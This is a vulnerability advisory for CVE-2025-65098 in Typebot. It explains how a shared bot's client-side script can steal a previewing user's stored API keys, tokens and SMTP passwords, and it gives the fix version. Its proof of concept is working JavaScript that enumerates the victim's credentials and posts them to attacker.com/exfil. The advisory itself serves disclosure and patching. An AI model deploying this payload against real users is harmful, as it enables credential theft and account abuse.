CVE-2025-65098: Typebot Vulnerable to Credential Theft via Client-Side Script Execution and API Authorization Bypass
Summary
Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership
---
Details
The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.
The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:
http GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}
Response: { "result": { "data": { "json": { "name": "My OpenAI Key", "data": { "apiKey": "sk-proj-abc123...xyz789" } } } } }
The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.
Vulnerable file: packages/embeds/js/src/features/blocks/logic/script/executeScript.ts
---
PoC
Here's how to reproduce:
1. Create a new typebot in the Builder 2. Add a Script block and enable "Execute on client" 3. Paste this code:
javascript const exfil = async () => { const data = { credentials: [] };
const list = await fetch( "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" + encodeURIComponent(JSON.stringify({ json: { scope: "user" } })), { credentials: "include" } ); const creds = (await list.json()).result?.data?.json?.credentials || [];
for (const c of creds) { const full = await fetch( "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { scope: "user", credentialsId: c.id } }) ), { credentials: "include" } ); const d = await full.json(); data.credentials.push({ name: d.result.data.json.name, type: c.type, apiKey: d.result.data.json.data.apiKey, fullData: d.result.data.json.data, }); }
const ws = await fetch( "https://app.typebot.io/api/trpc/workspace.listWorkspaces", { credentials: "include" } ); const workspaces = (await ws.json()).result.data.json.workspaces;
for (const w of workspaces) { const wsList = await fetch( "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } }) ), { credentials: "include" } ); const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];
for (const c of wsCreds) { const full = await fetch( "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { workspaceId: w.id, scope: "workspace", credentialsId: c.id, }, }) ), { credentials: "include" } ); const d = await full.json(); data.credentials.push({ workspace: w.name, name: d.result.data.json.name, type: c.type, fullData: d.result.data.json.data, }); } }
await fetch("https://attacker.com/exfil", { method: "POST", body: JSON.stringify(data), }); }; await exfil();
4. Share typebot with victim 5. When victim clicks "Run" to preview, script executes 6. All credentials exfiltrated in plaintext:
json { "credentials": [ { "name": "My OpenAI", "type": "openai", "apiKey": "sk-proj-abc123...", "fullData": { "apiKey": "sk-proj-abc123..." } }, { "workspace": "Company Workspace", "name": "Google Sheets", "type": "google-sheets", "fullData": { "refreshtoken": "1//0gHdP...", "accesstoken": "ya29.a0..." } } ] }
---
Impact
All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.
Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.
Root causes:
- Client-side scripts execute with victim's authenticated session - API returns plaintext credentials without ownership verification - No user warnings or consent prompts - Exploitable with free tier account
CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)
Other sources
Typebot is an open-source chatbot builder. In versions prior to 3.13.2, client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership. Version 3.13.2 fixes the issue.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-65098?
CVE-2025-65098 is considered a critical vulnerability due to its potential for credential theft.
How do I fix CVE-2025-65098?
To fix CVE-2025-65098, update Typebot to version 3.13.2 or higher.
What versions of Typebot are affected by CVE-2025-65098?
Versions of Typebot prior to 3.13.2 are affected by CVE-2025-65098.
What type of attack is associated with CVE-2025-65098?
CVE-2025-65098 is associated with client-side script execution that allows credential theft.
What is the impact of CVE-2025-65098 on users?
The impact of CVE-2025-65098 is that attackers can steal stored credentials from users of the affected Typebot versions.